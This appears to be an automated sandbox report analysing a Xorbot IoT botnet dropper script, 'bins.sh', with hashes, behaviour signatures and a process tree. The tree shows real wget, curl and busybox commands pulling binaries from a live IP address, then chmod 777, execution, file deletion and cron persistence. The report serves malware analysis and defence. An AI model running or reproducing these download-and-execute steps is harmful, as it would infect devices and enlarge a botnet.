Analysis

  • max time kernel
    150s
  • max time network
    107s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30-11-2024 07:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    035d446476225e126ba207e9014700ff

  • SHA1

    44658f5a8e83ad0e82a74736d80b6c7ab5c8784b

  • SHA256

    597e7cab59f0e2ab31a3b5ef4eb810c2a44432ce958584a469a72f3146ead18a

  • SHA512

    1d9a7fb9911a273178a07c668363c3c4ca845663db2fa4c09d8e6026e4460251cbe7df51f57312f1f302b5ff70a39410b2501d2d7f2ef5702a6f0fa2337d8f53

  • SSDEEP

    96:XYYMabqAH2YCucR5ZSmqC5Zm48sz8oC1rz1EAYYMabqALAMquCucR5sZmqC5ZdEZ:XCk2fo4Zz8oirz1C+4X8oirz7h

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:723
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          ./lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            ./9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm 9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Writes file to tmp directory
              PID:743
            • /bin/chmod
              chmod 777 jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • File and Directory Permissions Modification
              PID:746
            • /tmp/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              ./jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Executes dropped EXE
              PID:750
            • /bin/rm
              rm jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
                PID:754
              • /usr/bin/wget
                wget http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Writes file to tmp directory
                PID:755
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:762
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Writes file to tmp directory
                PID:773
              • /bin/chmod
                chmod 777 u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • File and Directory Permissions Modification
                PID:777
              • /tmp/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                ./u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:778
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:780
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:782
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:783
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:784
                  • /bin/rm
                    rm u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                    2⤵
                      PID:788
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                      2⤵
                        PID:792
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                        2⤵
                          PID:794
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          2⤵
                          • Writes file to tmp directory
                          PID:796
                        • /bin/chmod
                          chmod 777 yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          2⤵
                          • File and Directory Permissions Modification
                          PID:806
                        • /tmp/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          ./yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          2⤵
                          • Executes dropped EXE
                          PID:807
                        • /bin/rm
                          rm yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          2⤵
                            PID:811
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                            2⤵
                              PID:812
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                              2⤵
                                PID:813
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                2⤵
                                • Writes file to tmp directory
                                PID:815
                              • /bin/chmod
                                chmod 777 8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                2⤵
                                • File and Directory Permissions Modification
                                PID:820
                              • /tmp/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                ./8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                2⤵
                                • Executes dropped EXE
                                PID:821
                              • /bin/rm
                                rm 8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                2⤵
                                  PID:823
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                                  2⤵
                                    PID:824

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /var/spool/cron/crontabs/tmp.IlIJbm

                                  Filesize

                                  210B

                                  MD5

                                  6ce69062a2b492401e3eb19d3d2c3214

                                  SHA1

                                  794f41eb76347da6b8d9fffabdde02a1e56e3430

                                  SHA256

                                  fdd6905afb990c7c37d7ea5b663fe822762d960c8082457a8949a679f8336256

                                  SHA512

                                  1c33b827fc0d3e7e2034f34ede41a527824cdab9297879df7f4a20e3c1544f210374e835785c964ac4f1ab4fc771a584078c5efbd1045a1a450725c38af0554b